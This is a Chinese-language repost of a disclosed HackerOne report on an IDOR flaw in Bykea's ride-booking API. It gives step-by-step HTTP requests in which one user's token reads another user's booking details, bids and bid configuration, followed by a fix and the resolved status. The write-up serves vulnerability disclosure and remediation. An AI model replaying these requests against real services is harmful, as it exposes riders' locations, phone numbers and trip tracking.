Bykea IDOR漏洞分析:通过API端点实现敏感信息泄露

本文详细分析了Bykea平台存在的IDOR漏洞,攻击者可通过操纵booking_id参数访问其他用户的预订详情、竞价信息和配置数据,导致敏感信息泄露。包含完整的复现步骤和修复建议。

Bykea | 报告 #2374730 - 预订详情和竞价中的访问控制缺陷(IDOR)可能导致敏感信息泄露 | HackerOne

时间线

  • 2024年2月15日 10:42 UTC - back2arie 向Bykea提交报告
  • 2024年2月15日 11:12 UTC - Bykea工作人员将状态改为Triaged
  • 2024年2月15日 12:02 UTC - Bykea发放赏金并将严重性定为高危
  • 2024年2月29日 11:42 UTC - 报告状态改为已解决
  • 2025年6月12日 14:26 UTC - 请求披露报告
  • 2025年6月13日 04:36 UTC - 报告被披露

漏洞摘要

尊敬的安全团队:

我发现了一个安全问题,恶意用户能够查看其他用户的预订详情、竞价信息和竞价配置。存在漏洞的URL端点包括:

  1. GET https://api.bykea.net/api/v1/bookings/{{booking_id}}?_id={{user_id2}}&token_id={{access_token2}}
  2. GET https://api.bykea.net/api/v2/bids/{{booking_id}}?_id={{user_id2}}&token_id={{access_token2}}
  3. GET https://boleelagao.bykea.net/v1/config?lat={{latitude}}&lng={{longitude}}&service_code=23&trip_id={{booking_id}}

在此情况下,请求URL中的booking_id参数存在IDOR漏洞。

复现步骤

1. 创建测试账户

创建两个用户:攻击者(乘客用户名█████████)和受害者(乘客用户名██████████)

2. 受害者身份验证

作为受害者进行身份验证,获取user_id和access_token

3. 创建新行程

请求:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
POST https://api.bykea.net/api/v1/trips/create

Headers:
User-Agent: BYKEA/1.0.169 (com.bykea.pk; build:21; iOS 15.8.0) Alamofire/1.0.169
X-App-Version: 1.0.169

Body:
{
 "advertisement_id": "REDACTED",
 "token_id": "{{access_token}}",
 "pickup_info": {
 "lng": 67.883339799999931,
 "lat": 29.5500097,
 "address": "سبی, تحصیل سبی, ضلع سبی, سبی ڈویژن, بلوچستان, 82000, پاکستان"
 },
 "trip": {
 "creator": "iOS",
 "service_code": 23,
 "lng": 67.883339799999931,
 "lat": 29.5500097,
 "customer_bid": 75
 },
 "dropoff_info": {
 "address": "Kurak, تحصیل سبی, ضلع سبی, سبی ڈویژن, بلوچستان, پاکستان",
 "lat": 29.573396420702664,
 "lng": 67.898040153086185
 },
 "_id": "{{user_id}}"
}

响应:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
{
 "code": 200,
 "success": true,
 "message": "Trip creation successful",
 "data": {
 "trip_id": "███████",
 "trip_no": "PKX████████",
 "passenger_id": "██████████",
 "dt": "2024-02-15T13:49:44.841Z",
 "link": "https://track.bykea.net/PKX██████",
 "nc": true
 }
}

成功创建ID为██████的新行程/预订

4. 攻击者身份验证

作为攻击者进行身份验证,获取user_id2和access_token2

5. 访问预订详情API

请求:

1
2
3
4
5
GET https://api.bykea.net/api/v1/bookings/███?_id={{user_id2}}&token_id={{access_token2}}

Headers:
User-Agent: BYKEA/1.0.169 (com.bykea.pk; build:21; iOS 15.8.0) Alamofire/1.0.169
X-App-Version: 1.0.169

响应:(成功获取受害者预订详情,包含大量敏感信息)

6. 获取竞价信息

请求:

1
2
3
4
5
GET https://api.bykea.net/api/v2/bids/████████?_id={{user_id2}}&token_id={{access_token2}}

Headers:
User-Agent: BYKEA/1.0.169 (com.bykea.pk; build:21; iOS 15.8.0) Alamofire/1.0.169
X-App-Version: 1.0.169

响应:

1
2
3
4
5
6
7
8
9
{
 "code": 200,
 "success": true,
 "data": {
 "bids": [],
 "dt": 1707988055001,
 "is_discounted": false
 }
}

7. 获取竞价配置

请求:

1
2
3
4
5
GET https://boleelagao.bykea.net/v1/config?lat=29.5500097&lng=67.88333979999993&service_code=23&trip_id=██████

Headers:
X-Lb-User-Id: {{user_id2}}
X-Lb-User-Token: {{access_token2}}

响应:

1
2
3
4
5
6
7
8
9
{
 "code": 200,
 "message": "success",
 "data": {
 "bid_values": [20,40,60,80,100,120,140,160,180,200],
 "durations": [3,3,3],
 "hash": "██████████"
 }
}

修复建议

可以通过检查预订/行程ID是否属于登录用户来进行修复,通过其访问令牌进行验证。

影响

  • 攻击者可以查看其他用户预订详情中的敏感信息,如接送地点、电话号码、跟踪信息等
  • 攻击者可以查看其他用户预订的竞价信息
  • 攻击者可以查看其他用户预订的竞价配置

参考资料

  • [MITRE] CWE-639: 不安全的直接对象引用(IDOR)
  • [PortSwigger] 不安全的直接对象引用(IDOR)

漏洞信息

  • 报告ID: #2374730
  • 严重性: 高危(7~8.9)
  • 弱点: 不安全的直接对象引用(IDOR)
  • CVE ID: 无
  • 状态: 已解决
  • 披露时间: 2025年6月13日 04:36 UTC
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计